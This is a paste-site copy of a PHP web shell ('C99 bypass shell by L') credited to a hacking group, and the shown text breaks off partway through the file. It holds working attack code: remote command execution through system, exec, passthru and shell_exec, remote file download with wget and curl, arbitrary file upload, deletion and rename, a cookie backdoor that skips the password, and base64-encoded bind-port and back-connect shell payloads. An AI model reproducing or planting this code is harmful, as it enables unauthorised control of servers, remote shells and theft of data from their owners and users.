· 9 years ago · Dec 16, 2016, 08:16 AM
1<?php
2$auth_pass = "8c5f338ebb948df3d8a3100c1a2797e920d70e0c";
3error_reporting(0);
4set_time_limit(0);
5function lp(){
6?>
7<html>
8<head>
9<meta name="keywords" content="shell,L" />
10<meta name="description" content="Shell by L" />
11<meta name="author" content="L" />
12<style>
13.aL {
14 height:225px;
15 width:225px;
16 background:url("http://lhunker.890m.com/L.jpg");
17 color:black;
18 }
19</style>
20<title>C99 bypass shell by L</title>
21</head>
22<body bgcolor="black" style="color:white">
23<center>
24<div style="height:500;width:400;border:2px solid gray;margin-top:100;border-radius:25px">
25<div class='aL'></div>
26<h1>Bypass shell v1.0</h1>
27<form action method="get">
28<input type="hidden" name="action" value="login" />
29<input type="password" name="pass" placeholder="Enter your password"/><br/>
30<input type="submit" value="log in" style="margin-top:4px;width:173px;background:black;color:red;border:2px solid green;border-radius:10px"/>
31</form><br/><br/><br/><br/><br/>
32<footer><pre>Copyright © 2016 | All Rights Reserve</pre></footer>
33</div>
34</center>
35<?php
36;}
37if(isset($_GET['action'])){
38if($_GET['action']=='login'){
39setcookie('password',sha1(md5($_GET['pass'])));
40echo "<script>location='".$_SERVER['PHP_SELF']."?x=files'</script>";
41}
42else if($_GET['action']=='logout'){
43setcookie('password','',-86400*30*12);
44echo "<script>location='".$_SERVER['PHP_SELF']."'</script>";
45}
46}
47if(isset($_COOKIE['password'])){
48$passL = $_COOKIE['password'];
49if($passL == $auth_pass || $_COOKIE['L']=='L'){
50?>
51<?php
52function convertByte($s) {
53if($s >= 1073741824)
54return sprintf('%1.2f',$s / 1073741824 ).' GB';
55elseif($s >= 1048576)
56return sprintf('%1.2f',$s / 1048576 ) .' MB';
57elseif($s >= 1024)
58return sprintf('%1.2f',$s / 1024 ) .' KB';
59else
60return $s .' B';
61}
62if(isset($_GET['path'])){
63if(!is_dir($_GET['path'])){
64$path = getcwd();
65}else{
66$path = $_GET['path'];
67}
68}else{
69$path = getcwd();
70}
71function perms($file){
72$perms = fileperms($file);
73if (($perms & 0xC000) == 0xC000) {
74$info = 's';
75} elseif (($perms & 0xA000) == 0xA000) {
76$info = 'l';
77} elseif (($perms & 0x8000) == 0x8000) {
78$info = '-';
79} elseif (($perms & 0x6000) == 0x6000) {
80$info = 'b';
81} elseif (($perms & 0x4000) == 0x4000) {
82$info = 'd';
83} elseif (($perms & 0x2000) == 0x2000) {
84$info = 'c';
85} elseif (($perms & 0x1000) == 0x1000) {
86$info = 'p';
87} else {
88$info = 'u';
89}
90$info .= (($perms & 0x0100) ? 'r' : '-');
91$info .= (($perms & 0x0080) ? 'w' : '-');
92$info .= (($perms & 0x0040) ?
93(($perms & 0x0800) ? 's' : 'x' ) :
94(($perms & 0x0800) ? 'S' : '-'));
95$info .= (($perms & 0x0020) ? 'r' : '-');
96$info .= (($perms & 0x0010) ? 'w' : '-');
97$info .= (($perms & 0x0008) ?
98(($perms & 0x0400) ? 's' : 'x' ) :
99(($perms & 0x0400) ? 'S' : '-'));
100$info .= (($perms & 0x0004) ? 'r' : '-');
101$info .= (($perms & 0x0002) ? 'w' : '-');
102$info .= (($perms & 0x0001) ?
103(($perms & 0x0200) ? 't' : 'x' ) :
104(($perms & 0x0200) ? 'T' : '-'));
105return $info;
106}
107$style2 = '<link type="text/css" rel="stylesheet" href="http://lhunker.890m.com/css1.css" />';
108$style = '<link type="text/css" rel="stylesheet" href="http://lhunker.890m.com/css2.css" />';
109$script = "
110<script>
111function delfile(b,a,c){
112if(confirm('Are you sure sure you want to delete '+a)){
113window.location='?x=delete&file=' + b + '/' + a + '&path=".$path."&type='+c;
114}
115}
116function tukar(a,b){
117document.getElementById(a).style.display = 'none';
118document.getElementById(b).style.display = 'block';
119}
120</script>
121";
122$software = getenv("SERVER_SOFTWARE");
123$system = @php_uname();
124$user = @get_current_user();
125$php = phpversion();
126$php1 = php_sapi_name();
127$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
128$my_ip = $_SERVER['REMOTE_ADDR'];
129$admin_id=$_SERVER['SERVER_ADMIN'];
130$freedisk = convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"));
131$pwds = explode(DIRECTORY_SEPARATOR,$path);
132$pwdurl = "";
133for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
134$pathz = "";
135for($j = 0 ; $j <= $i ; $j++){
136$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
137}
138$pwdurl .= $pwds[$i].DIRECTORY_SEPARATOR;
139}
140if(isset($_GET['x']) && $_GET['x']=='delete'){
141if($_GET['type']=='dir'){
142if(@rmdir(rtrim($_GET['file'],DIRECTORY_SEPARATOR))){
143echo "<script>alert('Directory deleted successfully')</script>";
144echo "<script>window.location='?x=files&path=$path'</script>";
145}else{
146echo "<script>alert('Failed')</script>";
147echo "<script>window.location='?x=files&path=$path'</script>";
148}
149}elseif($_GET['type']=='file'){
150if(unlink($_GET['file'])){
151echo "<script>alert('File deleted successfully')</script>";
152echo "<script>window.location='?x=files&path=$path'</script>";
153}else{
154echo "<script>alert('Failed')</script>";
155echo "<script>window.location='?x=files&path=$path'</script>";
156}
157}
158}
159if(isset($_GET['x']) && $_GET['x']=='newfolder'){
160$ab = $path.'/'.$_GET['name'];
161if(mkdir($ab)){
162echo "<script>alert('folder successfully created')</script>";
163echo "<script>window.location='?x=files&path=$path'</script>";
164}else{
165echo "<script>alert('failed')</script>";
166echo "<script>window.location='?x=files&path=$path'</script>";
167}
168}
169function exe($cmd){
170if(function_exists('system')) {
171@ob_start();
172@system($cmd);
173$buff = @ob_get_contents();
174@ob_end_clean();
175return $buff;
176}
177elseif(function_exists('exec')) {
178@exec($cmd,$results);
179$buff = "";
180foreach($results as $result){
181$buff .= $result;
182}
183return $buff;
184}
185elseif(function_exists('passthru')) {
186@ob_start();
187@passthru($cmd);
188$buff = @ob_get_contents();
189@ob_end_clean();
190return $buff;
191}
192elseif(function_exists('shell_exec')){
193$buff = @shell_exec($cmd);
194return $buff;
195}
196}
197$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
198+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
199P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
200dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
2013TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
202Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
203HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
204tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
205ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
206uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
207$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
208NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
209tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
210e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
211LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
212vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
213+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
214$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
215ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
216S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
217ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
218Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
219$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
220BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
221zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
222i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
223RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
224jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
2256f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
226function which($pr){
227$path = exe("which $pr");
228if(!empty($path)) { return trim($path); } else { return trim($pr); }
229}
230function download($cmd,$url){
231$namafile = basename($url);
232switch($cmd) {
233case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
234case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
235case 'wfread' : ambil($wurl,$namafile);break;
236case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
237case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
238case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
239case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
240default: break;
241}
242return $namafile;
243}
244$bindport = "13123";
245$bindport_pass = "b374k";
246function tulis($file,$text){
247$textz = gzinflate(base64_decode($text));
248if($filez = @fopen($file,"w")){
249@fputs($filez,$textz);
250@fclose($file);
251}
252}
253if(isset($_GET['css']) && $_GET['css']=='2'){
254setcookie('css','1',time()*2);
255echo '<script>location="?x='.$_GET['x'].'&path='.$path.'&name='.$_GET['name'].'"</script>';
256}elseif($_GET['css']=='1'){
257setcookie('css','1',time()-6000);
258echo '<script>location="?x='.$_GET['x'].'&path='.$path.'&name='.$_GET['name'].'"</script>';
259}
260?>
261<?php
262if($_GET['x'] != 'L'){
263?>
264<html>
265<head>
266<?php if(!isset($_COOKIE['css'])) echo $style;else echo $style2; ?>
267<style>
268#alert:hover:after {
269background: green;
270border-radius: 3px;
271color: #f6f6f6;
272content: 'about me';
273font: bold 12px/30px sans-serif;
274height: 30px;
275left: 50%;
276margin-left: -60px;
277position: absolute;
278text-align: center;
279top: 50px; width: 120px;
280}
281#alert1:hover:after {
282background: green;
283border-radius: 3px;
284color: #f6f6f6;
285content: 'credits';
286font: bold 12px/30px sans-serif;
287height: 30px;
288left: 50%;
289margin-left: -60px;
290position: absolute;
291text-align: center;
292top: 50px; width: 120px;
293}
294#alert2:hover:after {
295background: green;
296border-radius: 3px;
297color: #f6f6f6;
298content: 'files';
299font: bold 12px/30px sans-serif;
300height: 30px;
301left: 50%;
302margin-left: -60px;
303position: absolute;
304text-align: center;
305top: 50px; width: 120px;
306}
307#alert3:hover:after {
308background: green;
309border-radius: 3px;
310color: #f6f6f6;
311content: 'upload';
312font: bold 12px/30px sans-serif;
313height: 30px;
314left: 50%;
315margin-left: -60px;
316position: absolute;
317text-align: center;
318top: 50px; width: 120px;
319}
320#alert4:hover:after {
321background: green;
322border-radius: 3px;
323color: #f6f6f6;
324content: 'php information';
325font: bold 12px/30px sans-serif;
326height: 30px;
327left: 50%;
328margin-left: -60px;
329position: absolute;
330text-align: center;
331top: 50px; width: 120px;
332}
333#alert5:hover:after {
334background: green;
335border-radius: 3px;
336color: #f6f6f6;
337content: 'tools';
338font: bold 12px/30px sans-serif;
339height: 30px;
340left: 50%;
341margin-left: -60px;
342position: absolute;
343text-align: center;
344top: 50px; width: 120px;
345}
346#alert6:hover:after {
347background: green;
348border-radius: 3px;
349color: #f6f6f6;
350content: 'hidden shell';
351font: bold 12px/30px sans-serif;
352height: 30px;
353left: 50%;
354margin-left: -60px;
355position: absolute;
356text-align: center;
357top: 50px; width: 120px;
358}
359#alert7:hover:after {
360background: green;
361border-radius: 3px;
362color: #f6f6f6;
363content: 'self remove';
364font: bold 12px/30px sans-serif;
365height: 30px;
366left: 50%;
367margin-left: -60px;
368position: absolute;
369text-align: center;
370top: 50px; width: 120px;
371}
372#alert8:hover:after {
373background: green;
374border-radius: 3px;
375color: #f6f6f6;
376content: 'logout';
377font: bold 12px/30px sans-serif;
378height: 30px;
379left: 50%;
380margin-left: -60px;
381position: absolute;
382text-align: center;
383top: 50px; width: 120px;
384}
385</style>
386<?php echo $script; ?>
387<script>
388var c_ = '<?php echo $path; ?>';
389var a_ = 'Sql'
390var charset_ = 'Windows-1251';
391var p1_ = 'select';
392var p2_ = 'admin';
393var p3_ = '';
394var d = document;
395function set(a,c,p1,p2,p3,charset) {
396if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
397if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
398if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
399if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
400if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
401if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
402}
403function g(a,c,p1,p2,p3,charset) {
404set(a,c,p1,p2,p3,charset);
405d.mf.submit();
406}
407function a(a,c,p1,p2,p3,charset) {
408set(a,c,p1,p2,p3,charset);
409var params = 'ajax=true';
410for(i=0;i<d.mf.elements.length;i++)
411params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
412sr('/shells/wso.php', params);
413}
414function sr(url, params) {
415if (window.XMLHttpRequest)
416req = new XMLHttpRequest();
417else if (window.ActiveXObject)
418req = new ActiveXObject('Microsoft.XMLHTTP');
419if (req) {
420req.onreadystatechange = processReqChange;
421req.open('POST', url, true);
422 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
423 req.send(params);
424 }
425 }
426 function processReqChange() {
427 if( (req.readyState == 4) )
428 if(req.status == 200) {
429 var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
430 var arr=reg.exec(req.responseText);
431 eval(arr[2].substr(0, arr[1]));
432 } else alert('Request error!');
433 }
434</script>
435<title>L ::: <?php echo $server_ip; ?></title>
436</head>
437<body >
438<div style="position:fixed;width:100%;background:black;margin-top:-24px;margin-left:-8px" ><br/>
439<table class='info' cellpadding='3' cellspacing='0' width='100%'>
440<tr>
441<td width='150'>
442<div id="alert"><a href="?x=about&path=<?php echo $path;?>"><img src='http://lhunker.890m.com/L.jpg' height='120' width='120' /></a></div>
443</td>
444<td width='80'>
445<span>Software<br/>
446System Os<br/>
447Php version<br/>
448Server Ip<br/>
449Free disk<br/>
450Directory<br/>
451Drives<br/>
452ChooseStyle</span>
453</td>
454<td>
455<nobr>: <?php echo $software; ?></nobr>
456<br/>: <?php echo $system; ?>
457<br/>: <?php echo $php; ?> on <?php echo $php1; ?>
458<br>: <?php echo $server_ip ?> <b>My Ip :</b> <?php echo $my_ip; ?> <b>Admin :</b> <?php echo $admin_id; ?>
459<br/>: <?php echo $freedisk; ?>
460<br/>: <?php
461$path = str_replace('\\','/',$path);
462$paths = explode('/',$path);
463foreach($paths as $id=>$pat){
464if($pat == '' && $id == 0){
465$a = true;
466echo '<a style="color:white" href="?x=files&path=/">/</a>';
467continue;
468}
469if($pat == '') continue;
470echo '<a style="color:white" href="?x=files&path=';
471for($i=0;$i<=$id;$i++){
472echo "$paths[$i]";
473if($i != $id) echo "/";
474}
475echo '">'.$pat.'</a>/';
476}
477?> [<a href="?x=files&path=<?php echo getcwd(); ?>" style='color:blue'>Home</a>] [<?php if(is_writable($path)) echo "<font color='lime'>Writable</font>"; else echo "<font color='red'>Not Writable</font>"; ?>]
478<br/>: <?php
479$drives = range("A","Z");
480foreach($drives as $drives1){
481if(is_dir($drives1.':\\')){
482echo "[<a style='color:white' href='?x=files&path=$drives1:\\'> ".$drives1."</a> ]";
483}
484}
485?>
486<br/>: <a href='?x=<?php echo $_GET['x'];?>&path=<?php echo $path; ?>&css=1<?php if(isset($_GET['name'])) echo "&name=".$_GET['name']; ?>' style='color:lime'>Css1</a> | <a href='?x=<?php echo $_GET['x'];?>&path=<?php echo $path; ?>&css=2<?php if(isset($_GET['name'])) echo "&name=".$_GET['name']; ?>' style='color:blue'>Css2</a>
487</td>
488</tr>
489</table>
490<hr style='margin-left:-8px;margin-right:-8px;' color='red' />
491<table cellpadding='3' cellspacing='0' width='100%' >
492<tr>
493<th width='6%'>[<a id='alert1' href='?x=credits&path=<?php echo $path; ?>'>©•L</a>]</th>
494<th width='6%'>[<a id='alert2' href='?x=files&path=<?php echo $path; ?>'>Files</a>]</th>
495<th width='6%'>[<a id='alert3' href='?x=upload&path=<?php echo $path; ?>'>Upload</a>]</th>
496<th width='6%'>[<a id='alert4' href='?x=phpinfo&path=<?php echo $path; ?>'> Php Info </a>]</th>
497<th width='6%'>[<a id='alert5' href='?x=tools&path=<?php echo $path; ?>'>Tools</a>]</th>
498<th width='6%'>[<a id='alert6' href='?x=L' target='_blank'>Hidden shell</a>]</th>
499<th width='6%'>[<a id='alert7' href='?x=changepass&path=<?php echo $path; ?>'>Change Shell Password</a>]</th>
500<th width='6%'>[<a id='alert8' href='?action=logout'>Logout</a>]</th>
501</tr>
502</table>
503<hr style='margin-left:-8px;margin-right:-8px;' color='red' />
504<?php
505}
506?>
507</div><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/> <?php if(isset($_COOKIE['css'])) echo '<br/><br/><br/><br/>'; ?>
508<?php
509if(isset($_GET['x']) && $_GET['x']=='credits'){
510?>
511<table width="100%" border="gray" height="400">
512<tr>
513<td style='vertical-align:bottom'>
514<center>
515<pre>
516 :::::::: :::::::: ::::::::
517 :+: :+: :+: :+: :+: :+:
518 +:+ +:+ +:+ +:+ +:+
519 +#+ +#++:++#+ +#++:++#+
520 +#+ +#+ +#+
521#+# #+# #+# #+# #+# #+#
522######## ######## ########
523 ::::::::: ::: ::: ::::::::: ::: :::::::: ::::::::
524 :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
525 +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
526 +#++:++#+ +#++: +#++:++#+ +#++:++#++: +#++:++#++ +#++:++#++
527 +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
528 #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
529######### ### ### ### ### ######## ########
530 :::::::: ::: ::: :::::::::: ::: :::
531 :+: :+: :+: :+: :+: :+: :+:
532 +:+ +:+ +:+ +:+ +:+ +:+
533 +#++:++#++ +#++:++#++ +#++:++# +#+ +#+
534 +#+ +#+ +#+ +#+ +#+ +#+
535#+# #+# #+# #+# #+# #+# #+#
536######## ### ### ########## ########## ##########
537</pre>
538 </center>
539<pre>
540This shell is created/coded by L of Eagle Cyber Army
541Just Use this tool for educational Purpose only,
542I am not responsible for any damage you made
543
544</pre>
545</td>
546</tr>
547</table>
548<footer style="position:fixed; left:10px; right:10px; bottom:5px; background:transparent; text-align:center;"><font style="text-shadow: 0px 0px 4px lime, 0px 0px 2px lime, 0px 0px 4px lime;color:black" color="black" face="impact" size="5">Greetings : </font><font style="text-shadow: 0px 0px 4px white, 0px 0px 2px white, 0px 0px 4px white;color:black" color="black" face="impact" size="4"><marquee onmouseover="this.stop();" onmouseout="this.start();" scrollamount="10" scrolldelay="50" width="90%">==========<font color="red">|</font>Philippine Hacking University<font color="red">|</font>==========<font color="red">|</font>Global Security Hackers<font color="red">|</font>==========<font color="red">|</font>Magdalo Cyber Army<font color="red">|</font>==========<font color="red">|</font>Pinoy Lulzsec<font color="red">|</font>===========<font color="red">|</font>Blood Security International<font color="red">|</font>========== </font></marquee></footer>
549<?php
550}else if(isset($_GET['x']) && $_GET['x']=='rename'){
551if(isset($_GET['newname'])){
552if(rename($_GET['name'],$path."/".$_GET['newname'])){
553echo "<script>alert('successfully rename');location='".$_SERVER['PHP_SELF']."?x=files&path=$path';</script>";
554}else{
555echo "rename failed";
556}
557}echo"<h1><center>Rename : ".$_GET['name']." </h1><form action method=get><center>New Name : <input type='hidden' name='path' value='$path' /><input type='hidden' value='rename' name='x'><input type='hidden' name='name' value='".$_GET['name']."' ><input type='text' value='".$_GET['oldname']."' name='newname' style='border:2px solid green;border-radius:5px;background:black;color:red' ><input type='submit' value='rename' style='border:2px solid green;border-radius:5px;background:black;color:red' ></form>";
558}elseif(isset($_GET['x']) && $_GET['x']=='about'){
559?><iframe src="http://localhost/lenard/adminer.php" width="100%" height="450px" ></iframe>
560<?php
561}
562else if(isset($_GET['x']) && $_GET['x']=='phpinfo'){
563echo "<h1><center>==[x] PHP info [x]==</center></h1>";
564@ob_start();@eval("phpinfo();");$buff = @ob_get_contents();@ob_end_clean();$awal = strpos($buff,"<body>")+6;$akhir = strpos($buff,"</body>");echo "<div class='phpinfo'>".substr($buff,$awal,$akhir-$awal)."</div>";
565echo "
566 <style>
567*{font-family:Tahoma,Verdana,Arial;color:#FFFFFF;}
568 .phpinfo table{width:100%;padding:0 0 0 0;} .phpinfo td{background:#111111;color:#cccccc;padding:6px 8px;;}
569 .phpinfo th, th{background:#191919;border-bottom:1px solid #333333;font-weight:normal;}
570 .phpinfo h2, .phpinfo h2 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222222;padding:4px 0;}
571 .explore th{padding:3px 8px;font-weight:normal;color:#999999;} .explore th:hover ,
572 .phpinfo th:hover{border-bottom:1px solid red;} .explore tr:hover{background:#333333;}
573 </style>";
574}
575else if(isset($_GET['x']) && $_GET['x']=='upload'){
576echo "<h1><center>==[x] Upload [x]==</center></h1>";
577$files = @$_FILES["files"];
578echo "<center>
579<form method=POST enctype='multipart/form-data' action=''>
580<table class=tabnet>
581<tr>
582<th class=inputzbut><center>Upload directory</center></th>
583</tr>
584<tr>
585<th><input name='path' value='".$path."/' style='border:2px solid green;color:red;background:black;width:100%;border-radius:10px'/></th>
586</tr>
587<tr>
588<th class=inputzbut><center>Upload file from your computer</center></th>
589</tr>
590<tr>
591<td>
592<input style='color:#000000' type='file' name='files'>
593<input type=submit value='Up'>
594</form>
595</td>
596</tr>";
597if ($files["name"] != '') {
598$fullpath = $_POST['path'] . $files["name"];
599if (move_uploaded_file($files['tmp_name'], $fullpath)) {
600echo "<tr><th><a target='_blank' href='$fullpath'>file uploaded successfully</th>";
601}
602}
603echo "</table></center>";
604}
605else if(isset($_GET['x'])&& ($_GET['x']=='files') || !isset($_GET['x'])){
606echo "<h1><center>==[x] File Manager [x]==</center></h1>";
607?>
608<table align="center">
609<tr>
610<form action method="get"><center><td>View folder</td> <td> : <input type=hidden name=path value='<?php echo $path; ?>'/> <input type="hidden" value="files" name="x"><input type=hidden name=type value=dir /><input type="text" style="border:2px solid green;border-radius:5px;background:black;color:red" name="view" value="<?php echo $path; ?>" ><input type="submit" value="go !" style="border:2px solid green;border-radius:5px;background:black;color:red"></form></td>
611</tr>
612<tr>
613<form action method="get"><center><td>View file</td> <td> : <input type=hidden name=path value='<?php echo $path; ?>'/><input type="hidden" value="files" name="x"><input type=hidden name=type value=file /><input type="text" style="border:2px solid green;border-radius:5px;background:black;color:red" name="view" value="" ><input type="submit" value="go !" style="border:2px solid green;border-radius:5px;background:black;color:red"></form></td>
614</tr>
615</table>
616<br/><br/>
617<table border="1" width="100%">
618<tr>
619<th class=th2>File / Folder name</th>
620<th class=th2 width='10%'>Size</th>
621<th class=th2 width='20%'>Owner / Group</th>
622<th class=th2 width='20%'>Permission</th>
623<th class=th2 width='20%'>Action</th>
624</tr>
625<?php
626if(is_dir("..")){
627echo "<tr class=tr>";
628echo "<td> <a style='color:white' href='?x=files&path=".$path.'/..'."'> <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'>.. </a></td>";
629echo "<td></td>";
630echo "<td></td>";
631echo "<td>".perms($path.'/..')."</td>";
632echo '<td><span id="titik1"><a href=\'javascript:tukar("titik1","titik2")\' style="color:white">Newfile</a> | <a style="color:white" href=\'javascript:tukar("titik1","titik1_form");\'>Newfolder</a></span>
633<form action="" method="get" id="titik1_form" class="sembunyi" style="margin:0;padding:0;">
634<input type="hidden" name="path" value="'.$path.'" />
635<input type="hidden" name="x" value="newfolder" />
636<input type="text" class="inputz" name="name" value="a_new_folder" />
637<input type="submit" class="inputzbut" value="Go !" />
638</form>
639<form action="" method="get" id="titik2" class="sembunyi" style="margin:0;padding:0">
640<input type=hidden name="x" value="edit">
641<input name="path" value="'.$path.'" type=hidden />
642<input name="name" class="inputz" value="enter new name" />
643<input type="submit" value="submit" class="inputzbut" />
644 </td>';
645 echo "</tr>";
646 }
647 $a = scandir($path);
648 foreach($a as $a1){
649 $perm = perms($path."/".$a1);
650 if(!is_dir($path."/".$a1) || $a1 == "." || $a1 == "..") continue;
651 echo "<tr class=tr>";
652 echo "<td> <a style='color:white' href='?x=files&path=$path/$a1'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> ".$a1." </a></td>";
653 echo "<td>dir</td>";
654 echo "<td>"; if(fileowner($path."/".$a1)== 0){ echo "???";}else{fileowner($path."/".$a1);}echo "/";if(filegroup($path."/".$a1)== 0){echo "???";}else{filegroup($path."/".$a1);}
655 echo "</td>";
656 echo "<td>";
657 if(is_writable($path.'/'.$a1)) echo "<font color='lime'>";
658 elseif(!is_readable("$path/$a1")) echo "<font color='red'>";
659 echo $perm;
660 if(is_writable("$path/$a1") || !is_readable("$path/$a1")) echo "</font>";
661 echo "</td>";
